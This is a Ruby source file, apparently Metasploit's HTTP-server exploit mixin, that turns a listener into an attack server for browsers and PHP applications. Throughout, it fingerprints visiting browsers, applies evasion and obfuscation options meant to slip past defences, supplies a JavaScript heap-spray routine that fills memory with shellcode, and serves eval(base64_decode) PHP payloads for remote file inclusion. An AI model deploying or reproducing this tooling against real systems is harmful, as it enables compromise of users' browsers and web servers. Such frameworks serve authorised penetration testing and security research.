require 'rex/service_manager'
require 'rex/exploitation/obfuscatejs'
require 'rex/exploitation/encryptjs'
require 'rex/exploitation/heaplib'

module Msf

###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer

	include Msf::Exploit::Remote::TcpServer
	include Msf::Auxiliary::Report

	def initialize(info = {})
		super

		register_options(
			[
				OptString.new('URIPATH', [ false,  "The URI to use for this exploit (default is random)"]),
			], Exploit::Remote::HttpServer
		)

		register_evasion_options(
			[
				OptBool.new('HTTP::chunked', [false, 'Enable chunking of HTTP responses via "Transfer-Encoding: chunked"', 'false']),
				OptBool.new('HTTP::header_folding', [false, 'Enable folding of HTTP headers', 'false']),
				OptBool.new('HTTP::junk_headers', [false, 'Enable insertion of random junk HTTP headers', 'false']),
				OptEnum.new('HTTP::compression', [false, 'Enable compression of HTTP responses via content encoding', 'none', ['none','gzip','deflate']]),
			], Exploit::Remote::HttpServer)

		@service_path = nil
	end

	#
	# By default, all HTTP servers are not subject to automatic exploitation
	#
	def autofilter
		false
	end

	#
	# Ensures that gzip can be used.  If not, an exception is generated.  The
	# exception is only raised if the DisableGzip advanced option has not been
	# set.
	#
	def use_zlib
		if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true)
			raise RuntimeError, "zlib support was not detected, yet the HTTP::compression option was set.  Don't do that!"
		end
	end

	#
	# This method gives a derived class the opportunity to ensure that all
	# dependencies are present before initializing the service.
	#
	# By default, all HTTP server mixins will try to use zlib.
	#
	def check_dependencies
		use_zlib
	end

	#
	# This mixin starts the HTTP server listener.  This routine takes a few
	# different hash parameters:
	#
	#   ServerHost => Override the server host to listen on (default to SRVHOST).
	#   ServerPort => Override the server port to listen on (default to SRVPORT).
	#   Uri        => The URI to handle and the associated procedure to call.
	#
	def start_service(opts = {})
		check_dependencies


		comm = datastore['ListenerComm']
		if (comm.to_s == "local")
			comm = ::Rex::Socket::Comm::Local
		else
			comm = nil
		end
		
		# Default the server host and port to what is required by the mixin.
		opts = {
			'ServerHost' => datastore['SRVHOST'],
			'ServerPort' => datastore['SRVPORT'],
			'Comm'       => comm
		}.update(opts)

		# Start a new HTTP server service.
		self.service = Rex::ServiceManager.start(
			Rex::Proto::Http::Server,
			opts['ServerPort'].to_i,
			opts['ServerHost'],
			datastore['SSL'],
			{
				'Msf'        => framework,
				'MsfExploit' => self,
			},
			opts['Comm']
		)

		self.service.server_name = 'Apache'

		# Default the procedure of the URI to on_request_uri if one isn't
		# provided.
		uopts = {
			'Proc' => Proc.new { |cli, req|
					on_request_uri(cli, req)
				},
			'Path' => resource_uri
		}.update(opts['Uri'] || {})

		print_status("Using URL: http://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")

		if (opts['ServerHost'] == '0.0.0.0')
			print_status(" Local IP: http://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
		end

		add_resource(uopts)
	end

	def fingerprint_user_agent(ua_str)
		fp = { :ua_string => ua_str }

		# always check for IE last because everybody tries to
		# look like IE
		case (ua_str.downcase)
			# Chrome tries to look like Safari, so check it first
			when /chrome\/(\d+(:?\.\d+)*)/
				# Matches, e.g.:
				# Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.63 Safari/534.3
				fp[:ua_name] = HttpClients::CHROME
				fp[:ua_ver] = $1
			when /version\/(\d+(:?\.\d+)*)\s*safari/
				fp[:ua_name] = HttpClients::SAFARI
				fp[:ua_ver] = $1
			when /firefox\/((:?[0-9]+\.)+[0-9]+)/
				fp[:ua_name] = HttpClients::FF
				fp[:ua_ver] = $1
			when /opera\/(\d+(:?\.\d+)*)/
				fp[:ua_name] = HttpClients::OPERA
				fp[:ua_ver] = $1
			when /mozilla\/[0-9]\.[0-9] \(compatible; msie ([0-9]\.[0-9]+)/
				fp[:ua_name] = HttpClients::IE
				fp[:ua_ver] = $1
			else
				fp[:ua_name] = HttpClients::UNKNOWN
		end
		case (ua_str.downcase)
			when /(en-us|en-gb)/
				fp[:os_lang] = $1
		end
		case (ua_str.downcase)
			when /windows/
				fp[:os_name] = OperatingSystems::WINDOWS
				fp[:arch] = ARCH_X86
			when /linux/
				fp[:os_name] = OperatingSystems::LINUX
			when /iphone/
				fp[:os_name] = OperatingSystems::MAC_OSX
				fp[:arch] = 'armle'
			when /mac os x/
				fp[:os_name] = OperatingSystems::MAC_OSX
			else
				fp[:os_name] = OperatingSystems::UNKNOWN
		end
		case (ua_str.downcase)
			when /windows 95/
				fp[:os_flavor] = '95'
			when /windows 98/
				fp[:os_flavor] = '98'
			when /windows nt 4/
				fp[:os_flavor] = 'NT'
			when /windows nt 5.0/
				fp[:os_flavor] = '2000'
			when /windows nt 5.1/
				fp[:os_flavor] = 'XP'
			when /windows nt 5.2/
				fp[:os_flavor] = '2003'
			when /windows nt 6.0/
				fp[:os_flavor] = 'Vista'
			when /windows nt 6.1/
				fp[:os_flavor] = '7'
			when /gentoo/
				fp[:os_flavor] = 'Gentoo'
			when /debian/
				fp[:os_flavor] = 'Debian'
			when /ubuntu/
				fp[:os_flavor] = 'Ubuntu'
			else
				fp[:os_flavor] = ''
		end
		case (ua_str.downcase)
			when /ppc/
				fp[:arch] = ARCH_PPC
			when /x64|x86_64/
				fp[:arch] = ARCH_X86_64
			when /i.86|wow64/
				# WOW64 means "Windows on Windows64" and is present
				# in the useragent of 32-bit IE running on 64-bit
				# Windows
				fp[:arch] = ARCH_X86
			else
				fp[:arch] = ARCH_X86
		end

		fp
	end

	#
	# Store the results of server-side User-Agent fingerprinting in the DB.
	#
	# Returns a Hash containing host and client information.
	#
	def report_user_agent(address, request, client_opts={})
		fp = fingerprint_user_agent(request["User-Agent"])
		host = {
			:address   => address,
			:host      => address,
		}
		host[:os_name]   = fp[:os_name]   if fp[:os_name]
		host[:os_flavor] = fp[:os_flavor] if fp[:os_flavor]
		host[:arch]      = fp[:arch]      if fp[:arch]
		host[:os_lang]   = fp[:os_lang]   if fp[:os_lang]
		report_host(host)
		client = {
			:host      => address,
			:ua_string => request['User-Agent'],
		}
		client[:ua_name] = fp[:ua_name] if fp[:ua_name]
		client[:ua_ver]  = fp[:ua_ver]  if fp[:ua_ver]
		client.merge!(client_opts) if client_opts
		report_client(client)
		report_note(
			:host => address,
			:type => 'http.request',
			:data => "#{address}: #{request.method} #{request.resource} #{client[:os_name]} #{client[:ua_name]} #{client[:ua_ver]}",
			:update => :unique_data
		)
		return host.merge(client)
	end

	#
	# Adds a URI resource using the supplied hash parameters.
	#
	#   Path     => The path to associate the procedure with.
	#   Proc     => The procedure to call when the URI is requested.
	#   LongCall => Indicates that the request is a long call.
	#
	def add_resource(opts)
		@service_path = opts['Path']
		service.add_resource(opts['Path'], opts)
	end

	#
	# Returns the last-used resource path
	#
	def get_resource
		# We don't want modules modifying their service_path inadvertantly, so
		# give them a dup.  Can be nil during module setup.
		@service_path ? @service_path.dup : nil
	end

	#
	# Removes a URI resource.
	#
	def remove_resource(name)
		service.remove_resource(name)
	end

	#
	# Closes a client connection.
	#
	def close_client(cli)
		service.close_client(cli)
	end

	#
	# Creates an HTTP response packet.
	#
	def create_response(code = 200, message = "OK", proto = Rex::Proto::Http::DefaultProtocol)
		res = Rex::Proto::Http::Response.new(code, message, proto);
		res['Content-Type'] = 'text/html'
		res
	end

	#
	# Transmits a response to the supplied client, default content-type is text/html
	#
	# Payload evasions are implemented here!
	#
	def send_response(cli, body, headers = {})
		response = create_response
		response['Content-Type'] = 'text/html'
		response.body = body.to_s.unpack("C*").pack("C*")

		if (datastore['HTTP::compression'])
			self.use_zlib # make sure...
			response.compress = datastore['HTTP::compression']
		end

		if (datastore['HTTP::chunked'] == true)
			response.auto_cl = false
			response.transfer_chunked = true
		end

		if (datastore['HTTP::header_folding'] == true)
			response.headers.fold = 1
		end

		if (datastore['HTTP::junk_headers'] == true)
			response.headers.junk_headers = 1
		end

		headers.each_pair { |k,v| response[k] = v }

		cli.send_response(response)
	end

	#
	# Sends a 302 redirect to the client
	#
	def send_redirect(cli, location='/', body='')
		response = create_response(302, 'Moved')
		response['Content-Type'] = 'text/html'
		response['Location'] = location
		response.body = body.to_s.unpack("C*").pack("C*")

		cli.send_response(response)
	end


	#
	# Sends a 302 redirect relative to our base path
	#
	def send_local_redirect(cli, location)
		send_redirect(cli, get_resource + location)
	end


	#
	# Sends a 404
	#
	def send_not_found(cli)
		resp_404 = create_response(404, 'Not Found')
		resp_404.body = %Q{
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.2.9 (Unix) Server at #{datastore['LHOST']} Port #{datastore['SRVPORT']}</address>
</body></html>
}

		cli.send_response(resp_404)
	end


	#
	# Returns the configured (or random, if not configured) URI path
	#
	def resource_uri
		path = datastore['URIPATH'] || random_uri
		path = '/' + path if path !~ /^\//
		return path
	end


	#
	# Generates a random URI for use with making finger printing more
	# challenging.
	#
	def random_uri
		"/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6)
	end

	#
	# Re-generates the payload, substituting the current RHOST and RPORT with
	# the supplied client host and port.
	#
	def regenerate_payload(cli, arch = nil, platform = nil, target = nil)
		pcode = nil

		# If the payload fails to generate for some reason, send a 403.
		if ((pcode = super(cli, arch, platform, target)) == nil)
			print_error("Failed to generate payload, sending 403.")

			cli.send_response(
				create_response(403, 'Forbidden'))

			return nil
		end
		pcode
	end

	##
	#
	# Override methods
	#
	##

	#
	# Called when a request is made to a single URI registered during the
	# start_service.  Subsequent registrations will not result in a call to
	# on_request_uri.
	#
	def on_request_uri(cli, request)
	end

end

###
#
# This module provides methods for exploiting an HTTP client by acting
# as an HTTP server.
#
###
module Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::HttpServer

protected

	def initialize(info = {})
		super

		register_evasion_options(
			[
				# utf-8, utf-7 and utf-7-all are currently not supported by
				# most browsers.  as such, they are not added by default.  The
				# mixin supports encoding using them, however they are not
				# listed in the Option.
				OptEnum.new('HTML::unicode', [false, 'Enable HTTP obfuscation via unicode', 'none', ['none', 'utf-16le', 'utf-16be', 'utf-16be-marker', 'utf-32le', 'utf-32be']]),
				OptEnum.new('HTML::base64', [false, 'Enable HTML obfuscation via an embeded base64 html object', 'none', ['none', 'plain', 'single_pad', 'double_pad', 'random_space_injection']]),
				OptInt.new('HTML::javascript::escape', [false, 'Enable HTML obfuscation via HTML escaping (number of iterations)',  0]),
			], Exploit::Remote::HttpServer::HTML)
	end

	#
	# Obfuscates symbols found within a javascript string.
	#
	# Returns an ObfuscateJS object
	#
	def obfuscate_js(javascript, opts)
		js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
		js.obfuscate
		return js
	end

	#
	# Encrypts a given javascript string using the provided key.
	#
	# Returns a string containing the encrypted string and a loader
	#
	def encrypt_js(javascript, key)
		js_encoded = Rex::Exploitation::EncryptJS.encrypt(javascript, key)
	end

	#
	# Returns the heaplib javascript, including any custom javascript supplied
	# by the caller.
	#
	def heaplib(custom_js = '')
		Rex::Exploitation::HeapLib.new(custom_js).to_s
	end

	def js_base64
		js = <<-ENDJS
			// Base64 implementation stolen from http://www.webtoolkit.info/javascript-base64.html
			// variable names changed to make obfuscation easier
			var Base64 = {
				// private property
				_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",

				// private method
				_utf8_encode : function ( input ){
					input = input.replace(/\\r\\n/g,"\\n");
					var utftext = "";
					var input_idx;

					for (input_idx = 0; input_idx < input.length; input_idx++) {
						var chr = input.charCodeAt(input_idx);
						if (chr < 128) {
							utftext += String.fromCharCode(chr);
						}
						else if((chr > 127) && (chr < 2048)) {
							utftext += String.fromCharCode((chr >> 6) | 192);
							utftext += String.fromCharCode((chr & 63) | 128);
						} else {
							utftext += String.fromCharCode((chr >> 12) | 224);
							utftext += String.fromCharCode(((chr >> 6) & 63) | 128);
							utftext += String.fromCharCode((chr & 63) | 128);
						}
					}

					return utftext;
				},

				// public method for encoding
				encode : function( input ) {
					var output = "";
					var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
					var input_idx = 0;

					input = Base64._utf8_encode(input);

					while (input_idx < input.length) {
						chr1 = input.charCodeAt( input_idx++ );
						chr2 = input.charCodeAt( input_idx++ );
						chr3 = input.charCodeAt( input_idx++ );

						enc1 = chr1 >> 2;
						enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
						enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
						enc4 = chr3 & 63;

						if (isNaN(chr2)) {
							enc3 = enc4 = 64;
						} else if (isNaN(chr3)) {
							enc4 = 64;
						}
						output = output +
						this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +
						this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
					}
					return output;
				},
				// public method for decoding
				decode : function (input) {
					var output = "";
					var chr1, chr2, chr3;
					var enc1, enc2, enc3, enc4;
					var i = 0;

					input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, "");

					while (i < input.length) {

						enc1 = this._keyStr.indexOf(input.charAt(i++));
						enc2 = this._keyStr.indexOf(input.charAt(i++));
						enc3 = this._keyStr.indexOf(input.charAt(i++));
						enc4 = this._keyStr.indexOf(input.charAt(i++));

						chr1 = (enc1 << 2) | (enc2 >> 4);
						chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
						chr3 = ((enc3 & 3) << 6) | enc4;

						output = output + String.fromCharCode(chr1);

						if (enc3 != 64) {
							output = output + String.fromCharCode(chr2);
						}
						if (enc4 != 64) {
							output = output + String.fromCharCode(chr3);
						}

					}

					output = Base64._utf8_decode(output);

					return output;

				},
				_utf8_decode : function (utftext) {
					var string = "";
					var input_idx = 0;
					var chr1 = 0;
					var chr2 = 0;
					var chr3 = 0;

					while ( input_idx < utftext.length ) {

						chr1 = utftext.charCodeAt(input_idx);

						if (chr1 < 128) {
							string += String.fromCharCode(chr1);
							input_idx++;
						}
						else if((chr1 > 191) && (chr1 < 224)) {
							chr2 = utftext.charCodeAt(input_idx+1);
							string += String.fromCharCode(((chr1 & 31) << 6) | (chr2 & 63));
							input_idx += 2;
						} else {
							chr2 = utftext.charCodeAt(input_idx+1);
							chr3 = utftext.charCodeAt(input_idx+2);
							string += String.fromCharCode(((chr1 & 15) << 12) | ((chr2 & 63) << 6) | (chr3 & 63));
							input_idx += 3;
						}
					}

					return string;
				}


			};

		ENDJS
		opts = {
			'Symbols' => {
				'Variables' => %w{ Base64 encoding result _keyStr encoded_data utftext input_idx
					input output chr chr1 chr2 chr3 enc1 enc2 enc3 enc4 },
				'Methods'   => %w{ _utf8_encode _utf8_decode encode decode }
			}
		}
		js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)

		return js
	end

	def js_heap_spray
		js = %Q|var memory = new Array();
function sprayHeap(shellcode, heapSprayAddr, heapBlockSize) {
	var index;
	var heapSprayAddr_hi = (heapSprayAddr >> 16).toString(16);
	var heapSprayAddr_lo = (heapSprayAddr & 0xffff).toString(16);
	while (heapSprayAddr_hi.length < 4) { heapSprayAddr_hi = "0" + heapSprayAddr_hi; }
	while (heapSprayAddr_lo.length < 4) { heapSprayAddr_lo = "0" + heapSprayAddr_lo; }

	var retSlide = unescape("%u"+heapSprayAddr_hi + "%u"+heapSprayAddr_lo);
	while (retSlide.length < heapBlockSize) { retSlide += retSlide; }
	retSlide = retSlide.substring(0, heapBlockSize - shellcode.length);

	var heapBlockCnt = (heapSprayAddr - heapBlockSize)/heapBlockSize;
	for (index = 0; index < heapBlockCnt; index++) {
		memory[index] = retSlide + shellcode;
	}
}
|
		opts = {
			'Symbols' => {
				'Variables' => %w{ shellcode retSlide payLoadSize memory index
					heapSprayAddr_lo heapSprayAddr_hi heapSprayAddr heapBlockSize
					heapBlockCnt },
				'Methods'   => %w{ sprayHeap }
			}
		}
		js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
		return js
	end

	def js_os_detect
		return ::Rex::Exploitation::JavascriptOSDetect.new
	end

	# Transmits a html response to the supplied client
	#
	# HTML evasions are implemented here.
	def send_response_html(cli, body, headers = {})
		body = body.to_s.unpack("C*").pack("C*")
		if datastore['HTML::base64'] != 'none'
			case datastore['HTML::base64']
				when 'plain'
					body = Rex::Text.encode_base64(body)
				when 'single_pad'
					body = Rex::Text.encode_base64(' ' + body)
				when 'double_pad'
					body = Rex::Text.encode_base64('  ' + body)
				when 'random_space_injection'
					body = Rex::Text.encode_base64(body)
					new = ''
					while (body.size > 0)
						new << body.slice!(0, rand(3) + 1) + Rex::Text.rand_text(rand(5) + 1, '', " \n")
					end
					body = new
			end

			body = 	'<HTML><BODY><OBJECT ID="' + Rex::Text.rand_text_alpha(rand(10)+5) + '" ' +
					'HEIGHT="100%" WIDTH="100%" TYPE="text/html" DATA="data:text/html;base64,' +
					body + '">Could not render object</OBJECT></BODY></HTML>'
		end

		if datastore['HTML::javascript::escape'] > 0
			datastore['HTML::javascript::escape'].times {
				body = '<script>document.write(unescape("' + Rex::Text.to_hex(body, '%') + '"))</script>'
			}
		end

		if ['utf-16le','utf-16be','utf32-le','utf32-be','utf-7','utf-8'].include?(datastore['HTML::unicode'])
			headers['Content-Type'] = 'text/html; charset: ' + datastore['HTML::unicode']
			body = Rex::Text.to_unicode(body, datastore['HTML::unicode'])
		else
			# special cases
			case datastore['HTML::unicode']
				when 'utf-16be-marker'
					headers['Content-Type'] = 'text/html'
					body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be')
				when 'utf-7-all'
					headers['Content-Type'] = 'text/html; charset: utf-7'
					body = Rex::Text.to_unicode(body, 'utf-7', 'all')
				when 'none'
					# do nothing
				else
					raise RuntimeError, 'Invalid unicode.  how did you get here?'
			end
		end

		send_response(cli, body, headers)
	end

end


###
#
# This module provides methods for exploiting PHP scripts by acting as an HTTP
# server hosting the payload for Remote File Include vulnerabilities.
#
###
module Exploit::Remote::HttpServer::PHPInclude

	include Msf::Exploit::Remote::HttpServer

	def initialize(info = {})

		# Override TCPServer's stance of passive
		super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive))

		register_evasion_options(
			[
				OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]),
			], Exploit::Remote::HttpServer::PHPInclude
		)
	end

	# Since these types of vulns are Stance::Aggressive, override HttpServer's
	# normal non-automatic behaviour and allow things to run us automatically
	def autofilter
		true
	end

	#
	# Override exploit() to handle service start/stop
	#
	def exploit
		start_service
		
		begin
			print_status("PHP include server started.");
			php_exploit
			::IO.select(nil, nil, nil, 5)
		rescue ::Interrupt
			raise $!
		ensure
			stop_service
		end
	end

	#
	# Transmits a PHP payload to the web application
	#
	def send_php_payload(cli, body, headers = {})

		case datastore['PHP::Encode']
		when 'base64'
			body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>"
		when 'none'
			body = "<?php #{body} ?>"
		end

		send_response(cli, body, headers)
	end

	#
	# Handle an incoming PHP code request
	#
	def on_request_uri(cli, request, headers={})
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Send it to the application
		send_php_payload(cli, p.encoded, headers)
	end

	#
	# Return the PHP include URL (pre-encoded)
	#
	def php_include_url(sock=nil)
		addr = datastore['SRVHOST']
		if (addr == "0.0.0.0")
			addr = Rex::Socket.source_address( sock ? sock.peerhost : '1.2.3.4')
		end
		"http://#{addr}:#{datastore['SRVPORT']}#{get_resource()}?"
	end


end
end

